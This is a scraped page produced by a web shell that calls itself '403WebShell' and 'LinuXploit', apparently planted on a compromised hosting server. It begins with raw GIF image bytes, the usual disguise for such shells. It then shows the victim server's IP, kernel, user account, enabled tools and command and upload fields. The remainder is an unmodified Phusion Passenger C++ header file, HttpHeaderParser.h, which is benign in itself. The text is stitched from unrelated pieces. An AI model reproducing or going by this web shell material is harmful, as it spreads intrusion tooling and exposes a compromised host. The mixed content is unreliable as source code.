GIF89a=( õ' 7IAXKgNgYvYx\%wh…hŽth%ˆs%—x¨}9®Œ©€&©‰%¶†(¹–.¹5·œD¹&Çš)ÇŸ5ǘ;Í£*È¡&Õ²)ׯ7×µ<Ñ»4ï°3ø‘HÖ§KͯT÷¨Yÿšqÿ»qÿÔFØ !ù ' !ÿ NETSCAPE2.0 , =( þÀ“pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§gª«ªE¯°¨¬ª±²Œ¹º¹E¾­”´ÂB¶¯ §Åȸ»ÑD¾¿Á•ÄÅ®° ÝH¾ÒLÀÆDÙ«D¶BÝïðÀ¾DÑÑÔTÌÍíH òGö¨A RÎڐ |¥ ٭&ºìE8œ¹kGÔAÞpx­a¶­ã R2XB®åE8I€Õ6Xî:vT)äžþÀq¦è³¥ì仕F~%xñ  4#ZÔ‰O|-4Bs‘X:= QÉ œš lºÒyXJŠGȦ|s hÏíK–3l7·B|¥$'7Jީܪ‰‡àá”Dæn=Pƒ ¤Òëí‰`䌨ljóá¯Éüv>á–Á¼5 ½.69ûϸd«­ºÀûnlv©‹ªîf{¬ÜãPbŸ  l5‘ޝpß ´ ˜3aÅùäI«O’ý·‘áÞ‡˜¾Æ‚ÙÏiÇÿ‹Àƒ #öó)pâš Þ½ ‘Ý{ó)vmÞü%D~ 6f s}ŃƒDØW Eþ`‡þ À…L8xá†ç˜{)x`X/> Ì}mø‚–RØ‘*|`D=‚Ø_ ^ð5 !_…'aä“OÚ—7âcð`D”Cx`ÝÂ¥ä‹éY¹—F¼¤¥Š?¡Õ™ n@`} lď’ÄÉ@4>ñd œ à‘vÒxNÃ×™@žd=ˆgsžG±æ ´²æud &p8Qñ)ˆ«lXD©øÜéAžHìySun jª×k*D¤LH] †¦§C™Jä–´Xb~ʪwStŽ6K,°£qÁœ:9ت:¨þªl¨@¡`‚ûÚ ».Û¬¯t‹ÆSÉ[:°=Š‹„‘Nåû”Ìî{¿ÂA ‡Rà›ÀÙ6úë°Ÿð0Ä_ ½;ÃϱîÉì^ÇÛÇ#Ëë¼ôº!±Ä˜íUîÅÇ;0L1óÁµö«p% AÀºU̬ݵ¼á%霼€‡¯Á~`ÏG¯»À× ­²± =4ªnpð3¾¤³¯­ü¾¦îuÙuµÙ®|%2ÊIÿür¦#0·ÔJ``8È@S@5ê¢ ö×Þ^`8EÜ]ý.뜃Âç 7 ú ȉÞj œ½Dç zý¸iþœÑÙûÄë!ˆÞÀl§Ïw‹*DçI€nEX¯¬¼ &A¬Go¼QföõFç°¯;é¦÷îŽêJ°îúôF5¡ÌQ|îúöXªæ»TÁÏyñêï]ê² o óÎC=öõ›ÒÓPB@ D×½œä(>èCÂxŽ`±«Ÿ–JЀ»Û á¤±p+eE0`ëŽ`A Ú/NE€Ø†À9‚@¤à H½7”à‡%B‰`Àl*ƒó‘–‡8 2ñ%¸ —€:Ù1Á‰E¸àux%nP1ð!‘ðC)¾P81lÑɸF#ˆ€{´âé°ÈB„0>±û °b¡Š´±O‚3È–Ù()yRpbµ¨E.Z‘D8ÊH@% òŒx+%Ù˜Æcü »¸˜fõ¬b·d`Fê™8èXH"ÉÈ-±|1Ô6iI, 2““¬$+](A*jÐ QTÂo‰.ÛU슬Œã„Ž`¯SN¡–¶Äåyše¯ª’­¬‚´b¦Éož œ)åyâ@Ì®3 ÎtT̉°&Ø+žLÀf"Ø-|žçÔ>‡Ðv¦Ðžì\‚ Q1)Ž@Žh#aP72”ˆ™¨$‚ !ù " , =( …7IAXG]KgNgYvYxR"k\%w]'}hŽth%ˆg+ˆs%—r.—m3šx3˜x¨}9®€&©€+¨‡7§‰%¶†(¹–.¹œD¹&ǘ;Í•&ײ)×»4ïÌ6ò§KÍ þ@‘pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§g «¬ E ±± ¨­¶°ººE Á´”·®C¬²§Ç¶Œ»ÓDÃÕƷ¯Ê±H½ºM×ÁGÚ¬D¶BËÁ½î½DÓôTÏÛßîG»ôõC×CÌ l&âž:'òtU³6ɹ#·Ø)€'Ü.6±&ëÍÈ» K(8p0N?!æ2"ÛˆNIJX>R¼ÐO‚M '¡¨2¸*Ÿþ>#n↠å@‚<[:¡Iïf’ ¤TÚ˘CdbÜÙ“[«ŽEú5MBo¤×@€`@„€Êt W-3 ¶Ÿ¡BíêäjIÝ…Eò9[T…$íêﯧ„…•s»Óȳ¹€ÅÚdc®UUρ#±Ùïldj?´í¼²`\ŽÁðÞu|3'ÖŒ]ë6 ¶S#²‡˜FKLÈ *N E´‘áäŠ$˜›eÄYD„ºq«.è촁ƒs \-ÔjA 9²õ÷å- üúM[Âx(ís÷ì®x€|í¡Ù’p¦‚ ŽkÛTÇDpE@WÜ ²Ç]kŠ1¨ þ€·Yb ÓÁ‰l°*n0 ç™—žzBdОu¾7ĉBl€â‰-ºx~|UåU‰  h*Hœ|e"#"?vpÄiŠe6^ˆ„+qâŠm8 #VÇá ‘å–ÄV„œ|Аè•m"сœn|@›U¶ÆÎž—Špb¥G¨ED”€±Úê2FÌIç? >Éxå Œ± ¡¤„%‘žjŸ‘ꄯ<Ìaà9ijÐ2˜D¦È&›†Z`‚å]wþ¼Â:ç6àB¤7eFJ|õÒ§Õ,¨äàFÇ®cS·Ê¶+B°,‘Þ˜ºNûãØ>PADÌHD¹æž«ÄÀnÌ¥}­#Ë’ë QÀÉSÌÂÇ2ÌXÀ{æk²lQÁ2«ÊðÀ¯w|2Í h‹ÄÂG€,m¾¶ë3ÐÙ6-´ÅE¬L°ÆIij*K½ÀÇqï`DwVÍQXœÚÔpeœ±¬Ñ q˜§Tœ½µƒ°Œìu Â<¶aØ*At¯lmEØ ü ôÛN[P1ÔÛ¦­±$ÜÆ@`ùåDpy¶yXvCAyåB`ŽD¶ 0QwG#¯ æš[^Äþ $ÀÓÝǦ{„L™[±úKÄgÌ;ï£S~¹ìGX.ôgoT.»åˆ°ùŸûù¡?1zö¦Ÿž:ÅgÁ|ìL¹ „®£œŠ‚à0œ]PÁ^p F<"•ç?!,ñ‡N4—…PÄ Á„ö¨Û:Tè@hÀ‹%táÿ:ø-žI<`þ‹p I….)^ 40D#p@ƒj4–؀:²‰1Øâr˜¼F2oW¼#Z†;$Q q” ‘ ÂK¦ñNl#29 !’F@¥Bh·ᏀL!—XFóLH‘Kh¤.«hE&JòG¨¥<™WN!€ÑÙÚˆY„@†>Œž19J" 2,/ &.GXB%ÌRÈ9B6¹W]’î×ÔW¥’IÎ$ ñ‹ÓŒE8YÆ ¼³™ñA5“à®Q.aŸB€&Ø©³ JÁ—! ¦t)K%tœ-¦JF bòNMxLôþ)ÐR¸Ð™‘ èÝ6‘O!THÌ„HÛ ‰ !ù ) , =( …AXKgNgYvYxR"k\%wh…hŽh%ˆg+ˆs%—r.—x3˜x¨}9®€&©€+¨Œ,©‡7§‰%¶†(¹–.¹5·&Çš)ǘ;Í•&×£*Ȳ)ׯ7×»4ï°3øÌ6ò‘HÖ§KÍ»Hó¯T÷¨Yÿ»qÿÇhÿ þÀ”pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§g ª« E$±²¨ª­ · °²½$E$ÂÕ««D· Í ¿¦Ç¶¸ÌŒ¾³CÃÅÆ E ééH½MÛÂGâªD­ çBêêϾD²ÒaÀà€Š1r­ðÓ¤ ÔožzU!L˜C'¾yW½UGtäÇïÙllê0×àÂuGþ)AÀs[þ·xì ÁxO%ƒûX2ó—  P£n›R/¡ÑšHše+êDm?# —‘Ç£6¡8íJ¡ŸâDiäªM¥Ö„ôj“¬¹£5oQ7°- <‡ *´lãÓŒ2r/a!l)dÈ A™ÈE¢ôÔ͆…ð ;Ö˜c ¡%ß‚’Ùˆâ¸b½—pe~C"BíëÚHïeF2§æŠ8qb t_`urŠeü wÅu3êæPv§h•"ß`íÍxçLĹÜÖ3á  ~Öº“®›¸ÏMDfJÙ °„ÛµáWõ%§œ‚à©–‚X ÓØ)@®Ñ›Eþ´wëuÅSxb8y\mÖzœ¥§ZbºE—ÂLªÌw!y(>¡™wú=Ç|ÅÝs¢d €CÁW)HÜcC$€L Ä7„r.á\{)@ð` @ äXÈ$PD” `šaG:§æˆOˆ72EÐamn]ù"ŒcÊxÑŒ° &dR8`g«iÙŸLR!¦P …d’ä¡“¦ðÎTƒ¦ià|À _ ¥ Qi#¦Šg›Æ ›noMµ ›V ã£)p ç£ÎW…š=Âeªk§†j„ ´®1ß²sÉxéW«jšl|0¯B0Û, \jÛ´›6±¬¶C ÛíWþï|ëÙ‹¸ñzĸV {ì;Ýñn¼òVˆm³I¼³.Ðã¤PN¥ ²µ¼„µCã+¹ÍByî£Ñ¾HŸ›ëê 7ìYÆFTk¨SaoaY$Dµœìï¿Ã29RÈkt Çïfñ ÇÒ:ÀÐSp¹3ÇI¨â¥DZÄ ü9Ïýögñ½­uÔ*3)O‘˜Ö[_hv ,àî×Et Ÿé¶BH€ Õ[ü±64M@ÔSÌM7dÐl5-ÄÙU܍´©zߌ3Ô€3ž„ „ ¶ÛPô½5×g› êÚ˜kN„Ý…0Îj4€Ìë°“#{þÕ3S2çKÜ'ợlø¼Ú2K{° {Û¶?žm𸧠ËI¼nEò='êüóºè^üæÃ_Û=°óž‚ì#Oý¿Í'¡½áo..ÏYìnüñCœO±Áa¿¢Kô½o,üÄËbö²çºíï{ËC Ú— "”Ï{ËK ÍÒw„õ±Oz dÕ¨à:$ ƒô—«v»] A#ð «€¿šéz)Rx׿ˆ¥‚d``èw-îyÏf×K!ð€þ­Ð|ìPľ„=Ì`ý(f” 'Pa ¥ÐBJa%Ðâf§„%Š¡}FàáÝ×6>ÉäŠG"éŽè=ø!oа^FP¼Ø©Q„ÀCÙÁ`(Ž\ÄÝ® ©Â$<n@dÄ E#ììUÒI! ‚#lù‹`k¦ÐÇ'Rró’ZýNBÈMF Í[¤+‹ðɈ-áwj¨¥þ8¾rá ,VÂh„"|½œ=×G_¦Ñ™EØ 0i*%̲˜Æda0mV‚k¾)›;„&6 p>ÓjK “¦Ç# âDÂ:ûc?:R Ó¬fÞéI-Ì“•Ã<ä=™Ï7˜3œ¨˜c2ŒW ,ˆ”8(T™P‰F¡Jhç"‚ ; 403WebShell
403Webshell
Server IP : 104.21.83.152  /  Your IP : 216.73.216.195
Web Server : LiteSpeed
System : Linux premium229.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
User : akhalid ( 749)
PHP Version : 8.3.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/cpanel/ea-ruby27/src/passenger-release-6.0.23/src/cxx_supportlib/ServerKit/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/cpanel/ea-ruby27/src/passenger-release-6.0.23/src/cxx_supportlib/ServerKit/HttpHeaderParser.h
/*
 *  Phusion Passenger - https://www.phusionpassenger.com/
 *  Copyright (c) 2014-2018 Phusion Holding B.V.
 *
 *  "Passenger", "Phusion Passenger" and "Union Station" are registered
 *  trademarks of Phusion Holding B.V.
 *
 *  Permission is hereby granted, free of charge, to any person obtaining a copy
 *  of this software and associated documentation files (the "Software"), to deal
 *  in the Software without restriction, including without limitation the rights
 *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
 *  copies of the Software, and to permit persons to whom the Software is
 *  furnished to do so, subject to the following conditions:
 *
 *  The above copyright notice and this permission notice shall be included in
 *  all copies or substantial portions of the Software.
 *
 *  THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
 *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
 *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
 *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
 *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
 *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
 *  THE SOFTWARE.
 */
#ifndef _PASSENGER_SERVER_KIT_HTTP_HEADER_PARSER_H_
#define _PASSENGER_SERVER_KIT_HTTP_HEADER_PARSER_H_

#include <boost/cstdint.hpp>
#include <oxt/backtrace.hpp>
#include <cstddef>
#include <cassert>
#include <cstring>
#include <MemoryKit/mbuf.h>
#include <ServerKit/llhttp.h>
#include <ServerKit/Context.h>
#include <ServerKit/HttpRequest.h>
#include <ServerKit/HttpHeaderParserState.h>
#include <DataStructures/LString.h>
#include <DataStructures/HashedStaticString.h>
#include <LoggingKit/LoggingKit.h>
#include <StrIntTools/StrIntUtils.h>
#include <Algorithms/Hasher.h>

namespace Passenger {
namespace ServerKit {


extern const HashedStaticString HTTP_CONTENT_LENGTH;
extern const HashedStaticString HTTP_TRANSFER_ENCODING;
extern const HashedStaticString HTTP_X_SENDFILE;
extern const HashedStaticString HTTP_X_ACCEL_REDIRECT;

struct HttpParseRequest {};
struct HttpParseResponse {};

template<typename Message, typename MessageType = HttpParseRequest>
class HttpHeaderParser {
private:
	Context *ctx;
	HttpHeaderParserState *state;
	Message *message;
	psg_pool_t *pool;
	const MemoryKit::mbuf *currentBuffer;
	llhttp_method_t	requestMethod;

	bool validateHeader(const HttpParseRequest &tag, const Header *header) {
		if (!state->secureMode) {
			if (!psg_lstr_cmp(&header->key, P_STATIC_STRING("!~"), 2)) {
				return true;
			} else {
				if (header->key.size == 2) {
					// Security password. Check whether it hasn't been
					// given before and whether it is correct.
					if (ctx->config.secureModePassword.empty()
					 || psg_lstr_cmp(&header->val, ctx->config.secureModePassword))
					{
						state->secureMode = true;
						return true;
					} else {
						state->state = HttpHeaderParserState::ERROR_SECURITY_PASSWORD_MISMATCH;
						return false;
					}
				} else {
					// Secure header encountered without having
					// encountered a security password.
					state->state = HttpHeaderParserState::ERROR_SECURE_HEADER_NOT_ALLOWED;
					return false;
				}
			}
		} else {
			if (psg_lstr_cmp(&header->key, P_STATIC_STRING("!~"), 2)) {
				if (header->key.size == 2) {
					state->secureMode = false;
				}
				return true;
			} else {
				// To prevent Internet clients from injecting secure headers,
				// we require the web server put secure headers between a begin
				// marker (the security password header) and an end marker.
				// If we find a normal header between the markers, then we
				// can assume the web server is bugged or compromised.
				state->state = HttpHeaderParserState::ERROR_NORMAL_HEADER_NOT_ALLOWED_AFTER_SECURITY_PASSWORD;
				return false;
			}
		}
	}

	bool validateHeader(const HttpParseResponse &tag, const Header *header) {
		state->secureMode = psg_lstr_cmp(&header->key, P_STATIC_STRING("!~"), 2);
		return true;
	}

	void insertCurrentHeader() {
		if (!state->secureMode) {
			message->headers.insert(&state->currentHeader, pool);
		} else {
			message->secureHeaders.insert(&state->currentHeader, pool);
		}
	}

	static size_t http_parser_execute_and_handle_pause(llhttp_t *parser,
		const char *data, size_t len, bool &paused)
	{
		llhttp_errno_t rc = llhttp_get_errno(parser);
		switch (rc) {
		case HPE_PAUSED_UPGRADE:
			llhttp_resume_after_upgrade(parser);
			goto happy_path;
		case HPE_PAUSED:
			llhttp_resume(parser);
			goto happy_path;
		case HPE_OK:
		happy_path:
			switch (llhttp_execute(parser, data, len)) {
			case HPE_PAUSED_H2_UPGRADE:
			case HPE_PAUSED_UPGRADE:
			case HPE_PAUSED:
				paused = true;
				return (llhttp_get_error_pos(parser) - data);
			case HPE_OK:
				return len;
			default:
				goto error_path;
			}
        default:
		error_path:
			return (llhttp_get_error_pos(parser) - data);
		}
	}

	static int _onURL(llhttp_t *parser, const char *data, size_t len) {
		HttpHeaderParser *self = static_cast<HttpHeaderParser *>(parser->data);
		return self->onURL(MessageType(), data, len);
	}

	OXT_FORCE_INLINE
	int onURL(const HttpParseRequest &tag, const char *data, size_t len) {
		state->state = HttpHeaderParserState::PARSING_URL;
		psg_lstr_append(&message->path, pool, *currentBuffer, data, len);
		return 0;
	}

	OXT_FORCE_INLINE
	int onURL(const HttpParseResponse &tag, const char *data, size_t len) {
		P_BUG("Should never be called");
		return 0;
	}

	static int onStatus(llhttp_t *parser, const char *data, size_t len) {
		HttpHeaderParser *self = static_cast<HttpHeaderParser *>(parser->data);
		if (llhttp_get_status_code(parser) == 100) {
			self->set100ContinueHttpState(MessageType());
			return HPE_PAUSED;// llhttp_pause(parser); is illegal in a callback
		}
		return 0;
	}

	void set100ContinueHttpState(const HttpParseRequest &tag) {
		P_BUG("Should never be called");
	}

	void set100ContinueHttpState(const HttpParseResponse &tag) {
		message->httpState = Message::ONEHUNDRED_CONTINUE;
	}

	static int onHeaderField(llhttp_t *parser, const char *data, size_t len) {
		HttpHeaderParser *self = static_cast<HttpHeaderParser *>(parser->data);

		if (self->state->state == HttpHeaderParserState::PARSING_NOT_STARTED
		 || self->state->state == HttpHeaderParserState::PARSING_URL
		 || self->state->state == HttpHeaderParserState::PARSING_HEADER_VALUE
		 || self->state->state == HttpHeaderParserState::PARSING_FIRST_HEADER_VALUE)
		{
			// New header field encountered.

			if (self->state->state == HttpHeaderParserState::PARSING_FIRST_HEADER_VALUE
			 || self->state->state == HttpHeaderParserState::PARSING_HEADER_VALUE)
			{
				// Validate previous header and insert into table.
				if (!self->validateHeader(MessageType(), self->state->currentHeader)) {
					return HPE_USER;
				}
				self->insertCurrentHeader();
			}

			// Initialize new header field.
			self->state->currentHeader = (Header *) psg_palloc(self->pool, sizeof(Header));
			psg_lstr_init(&self->state->currentHeader->key);
			psg_lstr_init(&self->state->currentHeader->origKey);
			psg_lstr_init(&self->state->currentHeader->val);
			self->state->hasher.reset();
			if (self->state->state == HttpHeaderParserState::PARSING_URL) {
				self->state->state = HttpHeaderParserState::PARSING_FIRST_HEADER_FIELD;
			} else {
				self->state->state = HttpHeaderParserState::PARSING_HEADER_FIELD;
			}
		}

		psg_lstr_append(&self->state->currentHeader->origKey, self->pool,
			*self->currentBuffer, data, len);
		if (psg_lstr_first_byte(&self->state->currentHeader->origKey) == '!') {
			psg_lstr_append(&self->state->currentHeader->key, self->pool,
				*self->currentBuffer, data, len);
			self->state->hasher.update(data, len);
		} else {
			char *downcasedData = (char *) psg_pnalloc(self->pool, len);
			convertLowerCase((const unsigned char *) data,
				(unsigned char *) downcasedData, len);
			psg_lstr_append(&self->state->currentHeader->key, self->pool,
				downcasedData, len);
			self->state->hasher.update(downcasedData, len);
		}

		return 0;
	}

	static int onHeaderValue(llhttp_t *parser, const char *data, size_t len) {
		HttpHeaderParser *self = static_cast<HttpHeaderParser *>(parser->data);

		if (self->state->state == HttpHeaderParserState::PARSING_FIRST_HEADER_FIELD
		 || self->state->state == HttpHeaderParserState::PARSING_HEADER_FIELD)
		{
			// New header value encountered. Finalize corresponding header field.
			if (self->state->state == HttpHeaderParserState::PARSING_FIRST_HEADER_FIELD) {
				self->state->state = HttpHeaderParserState::PARSING_FIRST_HEADER_VALUE;
			} else {
				self->state->state = HttpHeaderParserState::PARSING_HEADER_VALUE;
			}
			self->state->currentHeader->hash = self->state->hasher.finalize();

		}

		psg_lstr_append(&self->state->currentHeader->val, self->pool,
			*self->currentBuffer, data, len);
		self->state->hasher.update(data, len);

		return 0;
	}

	static int onHeadersComplete(llhttp_t *parser) {
		HttpHeaderParser *self = static_cast<HttpHeaderParser *>(parser->data);

		if (self->state->state == HttpHeaderParserState::PARSING_HEADER_VALUE
		 || self->state->state == HttpHeaderParserState::PARSING_FIRST_HEADER_VALUE)
		{
			// Validate previous header and insert into table.
			if (!self->validateHeader(MessageType(), self->state->currentHeader)) {
				return -1;// Error
			}
			self->insertCurrentHeader();
		}

		self->state->currentHeader = NULL;
		self->message->httpState = Message::PARSED_HEADERS;
		self->indexQueryString(MessageType());
		if (parser->upgrade) {
			return 2;//Assume absence of body and make llhttp_execute() return HPE_PAUSED_UPGRADE.
		} else {
			return HPE_PAUSED;//using llhttp_pause(parser); is illegal in a callback
		}
 		//return 1; Assume that request/response has no body, and proceed to parsing the next message.
		//return 0; Proceed normally.
	}

	OXT_FORCE_INLINE
	void indexQueryString(const HttpParseRequest &tag) {
		LString *contiguousPath = psg_lstr_make_contiguous(&message->path,
			message->pool);
		if (contiguousPath != &message->path) {
			psg_lstr_deinit(&message->path);
			message->path = *contiguousPath;
		}

		const char *pos = (const char *) memchr(message->path.start->data, '?',
			message->path.size);
		if (pos != NULL) {
			message->queryStringIndex = pos - message->path.start->data;
		}
	}

	OXT_FORCE_INLINE
	void indexQueryString(const HttpParseResponse &tag) {
		// Do nothing.
	}

	OXT_FORCE_INLINE
	void initializeParser(const HttpParseRequest &tag) {
		llhttp_settings_t &settings = state->parser_settings;
		llhttp_settings_init(&settings);
		settings.on_url = _onURL;
		settings.on_status = onStatus;
		settings.on_header_field = onHeaderField;
		settings.on_header_value = onHeaderValue;
		settings.on_headers_complete = onHeadersComplete;

		llhttp_init(&state->parser, HTTP_REQUEST, &state->parser_settings);
	}

	OXT_FORCE_INLINE
	void initializeParser(const HttpParseResponse &tag) {
		llhttp_settings_t &settings = state->parser_settings;
		llhttp_settings_init(&settings);
		settings.on_url = _onURL;
		settings.on_status = onStatus;
		settings.on_header_field = onHeaderField;
		settings.on_header_value = onHeaderValue;
		settings.on_headers_complete = onHeadersComplete;

		llhttp_init(&state->parser, HTTP_RESPONSE, &state->parser_settings);
	}

	OXT_FORCE_INLINE
	bool messageHttpStateIndicatesCompletion(const HttpParseRequest &tag) const {
		return message->httpState == Message::PARSED_HEADERS;
	}

	OXT_FORCE_INLINE
	bool messageHttpStateIndicatesCompletion(const HttpParseResponse &tag) const {
		return message->httpState == Message::PARSED_HEADERS
			|| message->httpState == Message::ONEHUNDRED_CONTINUE;
	}

	void processParseResult(const HttpParseRequest &tag) {
		TRACE_POINT();
		bool isChunked = state->parser.flags & F_CHUNKED;
		boost::uint64_t contentLength;
		int httpVersion;

		// The parser sets content_length to ULLONG_MAX if
		// Content-Length is not given. We treat it the same as 0.
		contentLength = state->parser.content_length;
		if (contentLength == std::numeric_limits<boost::uint64_t>::max()) {
			contentLength = 0;
		}

		message->method = static_cast<llhttp_method_t>(llhttp_get_method(&state->parser));
		httpVersion = llhttp_get_http_major(&state->parser) * 1000 + llhttp_get_http_minor(&state->parser) * 10;

		if (httpVersion > 1010) {
			// Maximum supported HTTP version is 1.1
			message->httpState      = Message::ERROR;
			message->aux.parseError = HTTP_VERSION_NOT_SUPPORTED;
			message->httpMajor      = 1;
			message->httpMinor      = 1;
			message->wantKeepAlive  = false;
		} else if (contentLength > 0 && isChunked) {
			message->httpState  = Message::ERROR;
			message->aux.parseError = REQUEST_CONTAINS_CONTENT_LENGTH_AND_TRANSFER_ENCODING;
		} else if (contentLength > 0 || isChunked) {
			// There is a request body.
			message->aux.bodyInfo.contentLength = contentLength;
			if (llhttp_get_upgrade(&state->parser)) {
				message->httpState      = Message::ERROR;
				message->aux.parseError = UPGRADE_NOT_ALLOWED_WHEN_REQUEST_BODY_EXISTS;
			} else if (isChunked) {
				message->httpState = Message::PARSING_CHUNKED_BODY;
				message->bodyType  = Message::RBT_CHUNKED;
			} else {
				message->httpState = Message::PARSING_BODY;
				message->bodyType  = Message::RBT_CONTENT_LENGTH;
			}
		} else {
			// There is no request body.
			if (!llhttp_get_upgrade(&state->parser)) {
				message->httpState = Message::COMPLETE;
				P_ASSERT_EQ(message->bodyType, Message::RBT_NO_BODY);
			} else if (message->method != HTTP_HEAD) {
				message->httpState = Message::UPGRADED;
				message->bodyType  = Message::RBT_UPGRADE;
				message->wantKeepAlive = false;
			} else {
				message->httpState      = Message::ERROR;
				message->aux.parseError = UPGRADE_NOT_ALLOWED_FOR_HEAD_REQUESTS;
			}
			llhttp_finish(&state->parser);
		}
	}

	void processParseResult(const HttpParseResponse &tag) {
		TRACE_POINT();
		const unsigned int status = llhttp_get_status_code(&state->parser);
		const boost::uint64_t contentLength = state->parser.content_length;

		message->statusCode = status;

		if (llhttp_get_upgrade(&state->parser)) {
			message->httpState = Message::UPGRADED;
			message->bodyType  = Message::RBT_UPGRADE;
			message->wantKeepAlive = false;
		} else if (message->headers.lookup(HTTP_X_SENDFILE) != NULL
		 || message->headers.lookup(HTTP_X_ACCEL_REDIRECT) != NULL)
		{
			// If X-Sendfile or X-Accel-Redirect is set, pretend like the body
			// is empty and disallow keep-alive. See:
			// https://github.com/phusion/passenger/issues/1376
			// https://github.com/phusion/passenger/issues/1498
			//
			// We don't set a fake "Content-Length: 0" header here
			// because it's undefined what Content-Length means if
			// X-Sendfile or X-Accel-Redirect are set.
			//
			// Because the response header no longer has any header
			// that signals its size, keep-alive should also be disabled
			// for the *request*. We already do that in RequestHandler's
			// ForwardResponse.cpp.
			message->httpState = Message::COMPLETE;
			message->bodyType = Message::RBT_NO_BODY;
			message->headers.erase(HTTP_CONTENT_LENGTH);
			message->headers.erase(HTTP_TRANSFER_ENCODING);
			message->wantKeepAlive = false;
			llhttp_finish(&state->parser);
		} else if (requestMethod == HTTP_HEAD
		 || status / 100 == 1  // status 1xx
		 || status == 204
		 || status == 304)
		{
			if (status != 100) {
				message->httpState = Message::COMPLETE;
				llhttp_finish(&state->parser);
			} else {
				message->httpState = Message::ONEHUNDRED_CONTINUE;
			}
			message->bodyType = Message::RBT_NO_BODY;
		} else if (state->parser.flags & F_CHUNKED) {
			if (state->parser.flags & F_CONTENT_LENGTH) {
				message->httpState      = Message::ERROR;
				message->aux.parseError = RESPONSE_CONTAINS_CONTENT_LENGTH_AND_TRANSFER_ENCODING;
			} else {
				message->httpState = Message::PARSING_CHUNKED_BODY;
				message->bodyType  = Message::RBT_CHUNKED;
			}
		} else if (state->parser.flags & F_CONTENT_LENGTH) {
			if (contentLength == 0) {
				message->httpState = Message::COMPLETE;
				message->bodyType  = Message::RBT_NO_BODY;
				llhttp_finish(&state->parser);
			} else {
				message->httpState = Message::PARSING_BODY_WITH_LENGTH;
				message->bodyType  = Message::RBT_CONTENT_LENGTH;
				message->aux.bodyInfo.contentLength = contentLength;
			}
		} else {
			message->httpState = Message::PARSING_BODY_UNTIL_EOF;
			message->bodyType  = Message::RBT_UNTIL_EOF;
			message->wantKeepAlive = false;
		}
	}

public:
	HttpHeaderParser(Context *context, HttpHeaderParserState *_state,
		Message *_message, psg_pool_t *_pool,
		llhttp_method_t _requestMethod = HTTP_GET)
		: ctx(context),
		  state(_state),
		  message(_message),
		  pool(_pool),
		  currentBuffer(NULL),
		  requestMethod(_requestMethod)
		{ }

	void initialize() {
		initializeParser(MessageType());
		state->state = HttpHeaderParserState::PARSING_NOT_STARTED;
		state->secureMode = false;
	}

	size_t feed(const MemoryKit::mbuf &buffer) {
		TRACE_POINT();
		P_ASSERT_EQ(message->httpState, Message::PARSING_HEADERS);

		size_t ret;
		bool paused;

		state->parser.data = this;
		currentBuffer = &buffer;
		ret = http_parser_execute_and_handle_pause(&state->parser,
			buffer.start, buffer.size(), paused);
		currentBuffer = NULL;

		if (!llhttp_get_upgrade(&state->parser) && ret != buffer.size() && !paused || !paused && llhttp_get_errno(&state->parser) != HPE_OK) {
			UPDATE_TRACE_POINT();
			message->httpState = Message::ERROR;
			switch (llhttp_get_errno(&state->parser)) {
			case HPE_CB_HEADER_FIELD_COMPLETE://?? does this match was HPE_CB_header_field in old one
			case HPE_CB_HEADERS_COMPLETE:
				switch (state->state) {
				case HttpHeaderParserState::ERROR_SECURITY_PASSWORD_MISMATCH:
					message->aux.parseError = SECURITY_PASSWORD_MISMATCH;
					break;
				case HttpHeaderParserState::ERROR_SECURITY_PASSWORD_DUPLICATE:
					message->aux.parseError = SECURITY_PASSWORD_DUPLICATE;
					break;
				case HttpHeaderParserState::ERROR_SECURE_HEADER_NOT_ALLOWED:
					message->aux.parseError = ERROR_SECURE_HEADER_NOT_ALLOWED;
					break;
				case HttpHeaderParserState::ERROR_NORMAL_HEADER_NOT_ALLOWED_AFTER_SECURITY_PASSWORD:
					message->aux.parseError = NORMAL_HEADER_NOT_ALLOWED_AFTER_SECURITY_PASSWORD;
					break;
				default:
					goto default_error;
				}
				break;
			case HPE_INVALID_TRANSFER_ENCODING:
			case HPE_UNEXPECTED_CONTENT_LENGTH:
				message->aux.parseError = REQUEST_CONTAINS_CONTENT_LENGTH_AND_TRANSFER_ENCODING;
				break;
			default:
				default_error:
				message->aux.parseError = HTTP_PARSER_ERRNO_BEGIN - llhttp_get_errno(&state->parser);
				break;
			}
		} else if (messageHttpStateIndicatesCompletion(MessageType())) {
			UPDATE_TRACE_POINT();
			message->httpMajor = llhttp_get_http_major(&state->parser);
			message->httpMinor = llhttp_get_http_minor(&state->parser);
			message->wantKeepAlive = llhttp_should_keep_alive(&state->parser);
			processParseResult(MessageType());
		}

		return ret;
	}
};


} // namespace ServerKit
} // namespace Passenger

#endif /* _PASSENGER_SERVER_KIT_HTTP_HEADER_PARSER_H_ */

Youez - 2016 - github.com/yon3zu
LinuXploit